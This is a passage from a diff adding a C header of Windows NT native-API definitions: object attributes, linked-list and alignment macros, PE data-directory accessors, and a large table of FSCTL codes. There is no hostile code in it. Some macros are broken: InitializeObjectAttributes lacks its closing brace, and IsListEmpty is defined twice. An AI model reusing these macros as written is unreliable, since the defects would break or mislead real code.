OBJECT_ATTRIBUTES; +typedef OBJECT_ATTRIBUTES *POBJECT_ATTRIBUTES; +typedef CONST OBJECT_ATTRIBUTES *PCOBJECT_ATTRIBUTES; + +#define InitializeObjectAttributes( p, n, a, r, s ) { \ + (p)->Length = sizeof( OBJECT_ATTRIBUTES ); \ + (p)->RootDirectory = r; \ + (p)->Attributes = a; \ + (p)->ObjectName = n; \ + (p)->SecurityDescriptor = s; \ + (p)->SecurityQualityOfService = NULL; \ + + +//added 20.12.11 +typedef struct _OBJECT_DIRECTORY_INFORMATION { + UNICODE_STRING Name; + UNICODE_STRING TypeName; +} OBJECT_DIRECTORY_INFORMATION, *POBJECT_DIRECTORY_INFORMATION; + +#if defined(_WINNT_) && (_MSC_VER < 1300) && !defined(___PROCESSOR_NUMBER_DEFINED) +#define ___PROCESSOR_NUMBER_DEFINED +typedef struct _PROCESSOR_NUMBER { + WORD Group; + BYTE Number; + BYTE Reserved; +} PROCESSOR_NUMBER, *PPROCESSOR_NUMBER; +#endif + +#if _WIN32_WINNT >= 0x0501 + +#define ANSI_NULL ((CHAR)0) +#define UNICODE_NULL ((WCHAR)0) + +#ifndef UNICODE_STRING_MAX_BYTES +#define UNICODE_STRING_MAX_BYTES ((USHORT) 65534) +#endif + +#define UNICODE_STRING_MAX_CHARS (32767) + +#define DECLARE_CONST_UNICODE_STRING(_variablename, _string) \ + const WCHAR _variablename ## _buffer[] = _string; \ + const UNICODE_STRING _variablename = { sizeof(_string) - sizeof(WCHAR), sizeof(_string), (PWSTR) _variablename ## _buffer }; + +#endif // _WIN32_WINNT >= 0x0501 + +#define IsListEmpty(ListHead) \ + ((ListHead)->Flink == (ListHead)) + +#define InitializeListHead(ListHead) (\ + (ListHead)->Flink = (ListHead)->Blink = (ListHead)) + +#define IsListEmpty(ListHead) \ + ((ListHead)->Flink == (ListHead)) + +#define RemoveHeadList(ListHead) \ + (ListHead)->Flink;\ + {RemoveEntryList((ListHead)->Flink)} + +#define RemoveTailList(ListHead) \ + (ListHead)->Blink;\ + {RemoveEntryList((ListHead)->Blink)} + +// VOID +// RemoveEntryList( +// IN PLIST_ENTRY Entry +// ); +#define RemoveEntryList(Entry) {\ + PLIST_ENTRY _EX_Blink;\ + PLIST_ENTRY _EX_Flink;\ + _EX_Flink = (Entry)->Flink;\ + _EX_Blink = (Entry)->Blink;\ + _EX_Blink->Flink = _EX_Flink;\ + _EX_Flink->Blink = _EX_Blink;\ + } + + +// VOID +// InsertTailList( +// IN PLIST_ENTRY ListHead, +// IN PLIST_ENTRY Entry +// ); +#define InsertTailList(ListHead,Entry) {\ + PLIST_ENTRY _EX_Blink;\ + PLIST_ENTRY _EX_ListHead;\ + _EX_ListHead = (ListHead);\ + _EX_Blink = _EX_ListHead->Blink;\ + (Entry)->Flink = _EX_ListHead;\ + (Entry)->Blink = _EX_Blink;\ + _EX_Blink->Flink = (Entry);\ + _EX_ListHead->Blink = (Entry);\ + } + +// VOID +// InsertHeadList( +// IN PLIST_ENTRY ListHead, +// IN PLIST_ENTRY Entry +// ); +#define InsertHeadList(ListHead,Entry) {\ + PLIST_ENTRY _EX_Flink;\ + PLIST_ENTRY _EX_ListHead;\ + _EX_ListHead = (ListHead);\ + _EX_Flink = _EX_ListHead->Flink;\ + (Entry)->Flink = _EX_Flink;\ + (Entry)->Blink = _EX_ListHead;\ + _EX_Flink->Blink = (Entry);\ + _EX_ListHead->Flink = (Entry);\ + } + +// BOOL +// COUNT_IS_ALIGNED( +// IN DWORD Count, +// IN DWORD Pow2 // undefined if this isn't a power of 2. +// ); +// +#define COUNT_IS_ALIGNED(Count,Pow2) \ + ( ( ( (Count) & (((Pow2)-1)) ) == 0) ? TRUE : FALSE ) + +// BOOL +// POINTER_IS_ALIGNED( +// IN LPVOID Ptr, +// IN DWORD Pow2 // undefined if this isn't a power of 2. +// ); +// +#define POINTER_IS_ALIGNED(Ptr,Pow2) \ + ( ( ( ((DWORD)(Ptr)) & (((Pow2)-1)) ) == 0) ? TRUE : FALSE ) + + +#define ROUND_DOWN_COUNT(Count,Pow2) \ + ( (Count) & (~((Pow2)-1)) ) + +#define ROUND_DOWN_POINTER(Ptr,Pow2) \ + ( (LPVOID) ROUND_DOWN_COUNT( ((DWORD)(Ptr)), (Pow2) ) ) + + +// If Count is not already aligned, then +// round Count up to an even multiple of "Pow2". "Pow2" must be a power of 2. +// +// DWORD +// ROUND_UP_COUNT( +// IN DWORD Count, +// IN DWORD Pow2 +// ); +#define ROUND_UP_COUNT(Count,Pow2) \ + ( ((Count)+(Pow2)-1) & (~((Pow2)-1)) ) + +// LPVOID +// ROUND_UP_POINTER( +// IN LPVOID Ptr, +// IN DWORD Pow2 +// ); + +// If Ptr is not already aligned, then round it up until it is. +#define ROUND_UP_POINTER(Ptr,Pow2) \ + ( (LPVOID) ( (((DWORD)(Ptr))+(Pow2)-1) & (~((Pow2)-1)) ) ) + +#define ALIGN_BYTE 1 +#define ALIGN_CHAR 1 +#define ALIGN_DESC_CHAR sizeof(DESC_CHAR) +#define ALIGN_DWORD 4 +#define ALIGN_LONG 4 +#define ALIGN_LPBYTE 4 +#define ALIGN_LPDWORD 4 +#define ALIGN_LPSTR 4 +#define ALIGN_LPTSTR 4 +#define ALIGN_LPVOID 4 +#define ALIGN_LPWORD 4 +#define ALIGN_TCHAR sizeof(TCHAR) +#define ALIGN_WCHAR sizeof(WCHAR) +#define ALIGN_WORD 2 +#define ALIGN_QUAD 8 + +#define ALIGN_WORST 8 + +//03.06.2011 - added +#define QUAD_ALIGN(VALUE) ( ((ULONG)(VALUE) + 7) & ~7 ) +//03.06.2011 - end + +// Usage: myPtr = ROUND_UP_POINTER(unalignedPtr, ALIGN_DWORD); + +// 31.05.2011 - added +#define EXPORT_VA(x) ((x)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress) +#define IMPORT_VA(x) ((x)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress) +#define RELOC_VA(x) ((x)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress) +#define RESOURCE_VA(x) ((x)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].VirtualAddress) + +#define EXPORT_SIZE(x) ((x)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size) +#define IMPORT_SIZE(x) ((x)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size) +#define RELOC_SIZE(x) ((x)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size) +#define RESOURCE_SIZE(x) ((x)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].Size) +#define DEBUGDIR_VA(x) ((x)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_DEBUG].VirtualAddress) +#define DEBUGDIR_SIZE(x) ((x)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_DEBUG].Size) +// 31.05.2011 - end + +#define IS_VALID_HANDLE(hHandle) ((HANDLE)hHandle != (HANDLE)0 && (HANDLE)hHandle != (HANDLE)0xFFFFFFFF) +#define SIZEOF_ARRAY(arr) ( sizeof(arr) / sizeof(arr[0]) ) +// 09.06.2011 - begin + +//21.12.2011 added +#if !defined(_FILESYSTEMFSCTL_) +#define _FILESYSTEMFSCTL_ + +#define FSCTL_REQUEST_OPLOCK_LEVEL_1 CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 0, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_REQUEST_OPLOCK_LEVEL_2 CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 1, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_REQUEST_BATCH_OPLOCK CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 2, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_OPLOCK_BREAK_ACKNOWLEDGE CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 3, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_OPBATCH_ACK_CLOSE_PENDING CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 4, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_OPLOCK_BREAK_NOTIFY CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 5, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_LOCK_VOLUME CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 6, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_UNLOCK_VOLUME CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 7, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_DISMOUNT_VOLUME CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 8, METHOD_BUFFERED, FILE_ANY_ACCESS) +// decommissioned fsctl value 9 +#define FSCTL_IS_VOLUME_MOUNTED CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 10, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_IS_PATHNAME_VALID CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 11, METHOD_BUFFERED, FILE_ANY_ACCESS) // PATHNAME_BUFFER, +#define FSCTL_MARK_VOLUME_DIRTY CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 12, METHOD_BUFFERED, FILE_ANY_ACCESS) +// decommissioned fsctl value 13 +#define FSCTL_QUERY_RETRIEVAL_POINTERS CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 14, METHOD_NEITHER, FILE_ANY_ACCESS) +#define FSCTL_GET_COMPRESSION CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 15, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_SET_COMPRESSION CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 16, METHOD_BUFFERED, FILE_READ_DATA | FILE_WRITE_DATA) +// decommissioned fsctl value 17 +// decommissioned fsctl value 18 +#define FSCTL_SET_BOOTLOADER_ACCESSED CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 19, METHOD_NEITHER, FILE_ANY_ACCESS) +#define FSCTL_OPLOCK_BREAK_ACK_NO_2 CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 20, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_INVALIDATE_VOLUMES CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 21, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_QUERY_FAT_BPB CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 22, METHOD_BUFFERED, FILE_ANY_ACCESS) // FSCTL_QUERY_FAT_BPB_BUFFER +#define FSCTL_REQUEST_FILTER_OPLOCK CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 23, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_FILESYSTEM_GET_STATISTICS CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 24, METHOD_BUFFERED, FILE_ANY_ACCESS) // FILESYSTEM_STATISTICS + +#if (_WIN32_WINNT >= 0x0400) +#define FSCTL_GET_NTFS_VOLUME_DATA CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 25, METHOD_BUFFERED, FILE_ANY_ACCESS) // NTFS_VOLUME_DATA_BUFFER +#define FSCTL_GET_NTFS_FILE_RECORD CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 26, METHOD_BUFFERED, FILE_ANY_ACCESS) // NTFS_FILE_RECORD_INPUT_BUFFER, NTFS_FILE_RECORD_OUTPUT_BUFFER +#define FSCTL_GET_VOLUME_BITMAP CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 27, METHOD_NEITHER, FILE_ANY_ACCESS) // STARTING_LCN_INPUT_BUFFER, VOLUME_BITMAP_BUFFER +#define FSCTL_GET_RETRIEVAL_POINTERS CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 28, METHOD_NEITHER, FILE_ANY_ACCESS) // STARTING_VCN_INPUT_BUFFER, RETRIEVAL_POINTERS_BUFFER +#define FSCTL_MOVE_FILE CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 29, METHOD_BUFFERED, FILE_SPECIAL_ACCESS) // MOVE_FILE_DATA, +#define FSCTL_IS_VOLUME_DIRTY CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 30, METHOD_BUFFERED, FILE_ANY_ACCESS) +// decomissioned fsctl value 31 +#define FSCTL_ALLOW_EXTENDED_DASD_IO CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 32, METHOD_NEITHER, FILE_ANY_ACCESS) +#endif /* _WIN32_WINNT >= 0x0400 */ + +#if (_WIN32_WINNT >= 0x0500) +// decommissioned fsctl value 33 +// decommissioned fsctl value 34 +#define FSCTL_FIND_FILES_BY_SID CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 35, METHOD_NEITHER, FILE_ANY_ACCESS) +// decommissioned fsctl value 36 +// decommissioned fsctl value 37 +#define FSCTL_SET_OBJECT_ID CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 38, METHOD_BUFFERED, FILE_SPECIAL_ACCESS) // FILE_OBJECTID_BUFFER +#define FSCTL_GET_OBJECT_ID CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 39, METHOD_BUFFERED, FILE_ANY_ACCESS) // FILE_OBJECTID_BUFFER +#define FSCTL_DELETE_OBJECT_ID CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 40, METHOD_BUFFERED, FILE_SPECIAL_ACCESS) +#define FSCTL_SET_REPARSE_POINT CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 41, METHOD_BUFFERED, FILE_SPECIAL_ACCESS) // REPARSE_DATA_BUFFER, +#define FSCTL_GET_REPARSE_POINT CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 42, METHOD_BUFFERED, FILE_ANY_ACCESS) // REPARSE_DATA_BUFFER +#define FSCTL_DELETE_REPARSE_POINT CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 43, METHOD_BUFFERED, FILE_SPECIAL_ACCESS) // REPARSE_DATA_BUFFER, +#define FSCTL_ENUM_USN_DATA CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 44, METHOD_NEITHER, FILE_ANY_ACCESS) // MFT_ENUM_DATA, +#define FSCTL_SECURITY_ID_CHECK CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 45, METHOD_NEITHER, FILE_READ_DATA) // BULK_SECURITY_TEST_DATA, +#define FSCTL_READ_USN_JOURNAL CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 46, METHOD_NEITHER, FILE_ANY_ACCESS) // READ_USN_JOURNAL_DATA, USN +#define FSCTL_SET_OBJECT_ID_EXTENDED CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 47, METHOD_BUFFERED, FILE_SPECIAL_ACCESS) +#define FSCTL_CREATE_OR_GET_OBJECT_ID CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 48, METHOD_BUFFERED, FILE_ANY_ACCESS) // FILE_OBJECTID_BUFFER +#define FSCTL_SET_SPARSE CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 49, METHOD_BUFFERED, FILE_SPECIAL_ACCESS) +#define FSCTL_SET_ZERO_DATA CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 50, METHOD_BUFFERED, FILE_WRITE_DATA) // FILE_ZERO_DATA_INFORMATION, +#define FSCTL_QUERY_ALLOCATED_RANGES CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 51, METHOD_NEITHER, FILE_READ_DATA) // FILE_ALLOCATED_RANGE_BUFFER, FILE_ALLOCATED_RANGE_BUFFER +#define FSCTL_ENABLE_UPGRADE CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 52, METHOD_BUFFERED, FILE_WRITE_DATA) +// decommissioned fsctl value 52 +#define FSCTL_SET_ENCRYPTION CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 53, METHOD_NEITHER, FILE_ANY_ACCESS) // ENCRYPTION_BUFFER, DECRYPTION_STATUS_BUFFER +#define FSCTL_ENCRYPTION_FSCTL_IO CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 54, METHOD_NEITHER, FILE_ANY_ACCESS) +#define FSCTL_WRITE_RAW_ENCRYPTED CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 55, METHOD_NEITHER, FILE_SPECIAL_ACCESS) // ENCRYPTED_DATA_INFO, EXTENDED_ENCRYPTED_DATA_INFO +#define FSCTL_READ_RAW_ENCRYPTED CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 56, METHOD_NEITHER, FILE_SPECIAL_ACCESS) // REQUEST_RAW_ENCRYPTED_DATA, ENCRYPTED_DATA_INFO, EXTENDED_ENCRYPTED_DATA_INFO +#define FSCTL_CREATE_USN_JOURNAL CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 57, METHOD_NEITHER, FILE_ANY_ACCESS) // CREATE_USN_JOURNAL_DATA, +#define FSCTL_READ_FILE_USN_DATA CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 58, METHOD_NEITHER, FILE_ANY_ACCESS) // Read the Usn Record for a file +#define FSCTL_WRITE_USN_CLOSE_RECORD CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 59, METHOD_NEITHER, FILE_ANY_ACCESS) // Generate Close Usn Record +#define FSCTL_EXTEND_VOLUME CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 60, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_QUERY_USN_JOURNAL CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 61, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_DELETE_USN_JOURNAL CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 62, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_MARK_HANDLE CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 63, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_SIS_COPYFILE CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 64, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_SIS_LINK_FILES CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 65, METHOD_BUFFERED, FILE_READ_DATA | FILE_WRITE_DATA) +// decommissional fsctl value 66 +// decommissioned fsctl value 67 +// decommissioned fsctl value 68 +#define FSCTL_RECALL_FILE CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 69, METHOD_NEITHER, FILE_ANY_ACCESS) +// decommissioned fsctl value 70 +#define FSCTL_READ_FROM_PLEX CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 71, METHOD_OUT_DIRECT, FILE_READ_DATA) +#define FSCTL_FILE_PREFETCH CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 72, METHOD_BUFFERED, FILE_SPECIAL_ACCESS) // FILE_PREFETCH +#endif /* _WIN32_WINNT >= 0x0500 */ + +#if (_WIN32_WINNT >= 0x0600) +#define FSCTL_MAKE_MEDIA_COMPATIBLE CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 76, METHOD_BUFFERED, FILE_WRITE_DATA) // UDFS R/W +#define FSCTL_SET_DEFECT_MANAGEMENT CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 77, METHOD_BUFFERED, FILE_WRITE_DATA) // UDFS R/W +#define FSCTL_QUERY_SPARING_INFO CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 78, METHOD_BUFFERED, FILE_ANY_ACCESS) // UDFS R/W +#define FSCTL_QUERY_ON_DISK_VOLUME_INFO CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 79, METHOD_BUFFERED, FILE_ANY_ACCESS) // C/UDFS +#define FSCTL_SET_VOLUME_COMPRESSION_STATE CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 80, METHOD_BUFFERED, FILE_SPECIAL_ACCESS) // VOLUME_COMPRESSION_STATE +// decommissioned fsctl value 80 +#define FSCTL_TXFS_MODIFY_RM CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 81, METHOD_BUFFERED, FILE_WRITE_DATA) // TxF +#define FSCTL_TXFS_QUERY_RM_INFORMATION CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 82, METHOD_BUFFERED, FILE_READ_DATA) // TxF +// decommissioned fsctl value 83 +#define FSCTL_TXFS_ROLLFORWARD_REDO CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 84, METHOD_BUFFERED, FILE_WRITE_DATA) // TxF +#define FSCTL_TXFS_ROLLFORWARD_UNDO CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 85, METHOD_BUFFERED, FILE_WRITE_DATA) // TxF +#define FSCTL_TXFS_START_RM CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 86, METHOD_BUFFERED, FILE_WRITE_DATA) // TxF +#define FSCTL_TXFS_SHUTDOWN_RM CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 87, METHOD_BUFFERED, FILE_WRITE_DATA) // TxF +#define FSCTL_TXFS_READ_BACKUP_INFORMATION CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 88, METHOD_BUFFERED, FILE_READ_DATA) // TxF +#define FSCTL_TXFS_WRITE_BACKUP_INFORMATION CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 89, METHOD_BUFFERED, FILE_WRITE_DATA) // TxF +#define FSCTL_TXFS_CREATE_SECONDARY_RM CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 90, METHOD_BUFFERED, FILE_WRITE_DATA) // TxF +#define FSCTL_TXFS_GET_METADATA_INFO CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 91, METHOD_BUFFERED, FILE_READ_DATA) // TxF +#define FSCTL_TXFS_GET_TRANSACTED_VERSION CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 92, METHOD_BUFFERED, FILE_READ_DATA) // TxF +// decommissioned fsctl value 93 +#define FSCTL_TXFS_SAVEPOINT_INFORMATION CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 94, METHOD_BUFFERED, FILE_WRITE_DATA) // TxF +#define FSCTL_TXFS_CREATE_MINIVERSION CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 95, METHOD_BUFFERED, FILE_WRITE_DATA) // TxF +// decommissioned fsctl value 96 +// decommissioned fsctl value 97 +// decommissioned fsctl value 98 +#define FSCTL_TXFS_TRANSACTION_ACTIVE CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 99, METHOD_BUFFERED, FILE_READ_DATA) // TxF +#define FSCTL_SET_ZERO_ON_DEALLOCATION CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 101, METHOD_BUFFERED, FILE_SPECIAL_ACCESS) +#define FSCTL_SET_REPAIR CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 102, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_GET_REPAIR CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 103, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_WAIT_FOR_REPAIR CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 104, METHOD_BUFFERED, FILE_ANY_ACCESS) +// decommissioned fsctl value 105 +#define FSCTL_INITIATE_REPAIR CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 106, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_CSC_INTERNAL CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 107, METHOD_NEITHER, FILE_ANY_ACCESS) // CSC internal implementation +#define FSCTL_SHRINK_VOLUME CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 108, METHOD_BUFFERED, FILE_SPECIAL_ACCESS) // SHRINK_VOLUME_INFORMATION +#define FSCTL_SET_SHORT_NAME_BEHAVIOR CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 109, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_DFSR_SET_GHOST_HANDLE_STATE CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 110, METHOD_BUFFERED, FILE_ANY_ACCESS) + +// +// Values 111 - 119 are reserved for FSRM. +// + +#define FSCTL_TXFS_LIST_TRANSACTION_LOCKED_FILES \ + CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 120, METHOD_BUFFERED, FILE_READ_DATA) // TxF +#define FSCTL_TXFS_LIST_TRANSACTIONS CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 121, METHOD_BUFFERED, FILE_READ_DATA) // TxF +#define FSCTL_QUERY_PAGEFILE_ENCRYPTION CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 122, METHOD_BUFFERED, FILE_ANY_ACCESS) +#endif /* _WIN32_WINNT >= 0x0600 */ + +#if (_WIN32_WINNT >= 0x0600) +#define FSCTL_RESET_VOLUME_ALLOCATION_HINTS CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 123, METHOD_BUFFERED, FILE_ANY_ACCESS) +#endif /* _WIN32_WINNT >= 0x0600 */ + +#if (_WIN32_WINNT >= 0x0601) +#define FSCTL_QUERY_DEPENDENT_VOLUME CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 124, METHOD_BUFFERED, FILE_ANY_ACCESS) // Dependency File System Filter +#define FSCTL_SD_GLOBAL_CHANGE CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 125, METHOD_BUFFERED, FILE_ANY_ACCESS) // Update NTFS Security Descriptors +#endif /* _WIN32_WINNT >= 0x0601 */ + +#if (_WIN32_WINNT >= 0x0600) +#define FSCTL_TXFS_READ_BACKUP_INFORMATION2 CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 126, METHOD_BUFFERED, FILE_ANY_ACCESS) // TxF +#endif /* _WIN32_WINNT >= 0x0600 */ + +#if (_WIN32_WINNT >= 0x0601) +#define FSCTL_LOOKUP_STREAM_FROM_CLUSTER CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 127, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_TXFS_WRITE_BACKUP_INFORMATION2 CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 128, METHOD_BUFFERED, FILE_ANY_ACCESS) // TxF +#define FSCTL_FILE_TYPE_NOTIFICATION CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 129, METHOD_BUFFERED, FILE_ANY_ACCESS) +#endif + +// Values 130 - 130 are available +// Values 131 - 139 are reserved for FSRM. + +#if (_WIN32_WINNT >= 0x0601) +#define FSCTL_GET_BOOT_AREA_INFO CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 140, METHOD_BUFFERED, FILE_ANY_ACCESS) // BOOT_AREA_INFO +#define FSCTL_GET_RETRIEVAL_POINTER_BASE CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 141, METHOD_BUFFERED, FILE_ANY_ACCESS) // RETRIEVAL_POINTER_BASE +#define FSCTL_SET_PERSISTENT_VOLUME_STATE CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 142, METHOD_BUFFERED, FILE_ANY_ACCESS) // FILE_FS_PERSISTENT_VOLUME_INFORMATION +#define FSCTL_QUERY_PERSISTENT_VOLUME_STATE CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 143, METHOD_BUFFERED, FILE_ANY_ACCESS) // FILE_FS_PERSISTENT_VOLUME_INFORMATION + +#define FSCTL_REQUEST_OPLOCK CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 144, METHOD_BUFFERED, FILE_ANY_ACCESS) + +#define FSCTL_CSV_TUNNEL_REQUEST CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 145, METHOD_BUFFERED, FILE_ANY_ACCESS) // CSV_TUNNEL_REQUEST +#define FSCTL_IS_CSV_FILE CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 146, METHOD_BUFFERED, FILE_ANY_ACCESS) // IS_CSV_FILE + +#define FSCTL_QUERY_FILE_SYSTEM_RECOGNITION CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 147, METHOD_BUFFERED, FILE_ANY_ACCESS) // +#define FSCTL_CSV_GET_VOLUME_PATH_NAME CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 148, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_CSV_GET_VOLUME_NAME_FOR_VOLUME_MOUNT_POINT CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 149, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_CSV_GET_VOLUME_PATH_NAMES_FOR_VOLUME_NAME CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 150, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define FSCTL_IS_FILE_ON_CSV_VOLUME CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 151, METHOD_BUFFERED, FILE_ANY_ACCESS) + +#endif /* _WIN32_WINNT >= 0x0601 */ + +#define FSCTL_MARK_AS_SYSTEM_HIVE FSCTL_SET_BOOTLOADER_ACCESSED + + +#if(_WIN32_WINNT >= 0x0601) + +typedef struct _CSV_NAMESPACE_INFO { + + ULONG Version; + ULONG DeviceNumber; + LARGE_INTEGER StartingOffset; + ULONG SectorSize; + +} CSV_NAMESPACE_INFO, *PCSV_NAMESPACE_INFO; + +#define CSV_NAMESPACE_INFO_V1 (sizeof(CSV_NAMESPACE_INFO)) +#define CSV_INVALID_DEVICE_NUMBER 0xFFFFFFFF + +#endif /* _WIN32_WINNT >= 0x0601 */ + +typedef struct _PATHNAME_BUFFER { + + ULONG PathNameLength; + WCHAR Name[1]; + +} PATHNAME_BUFFER, *PPATHNAME_BUFFER; + +typedef struct _FSCTL_QUERY_FAT_BPB_BUFFER { + + 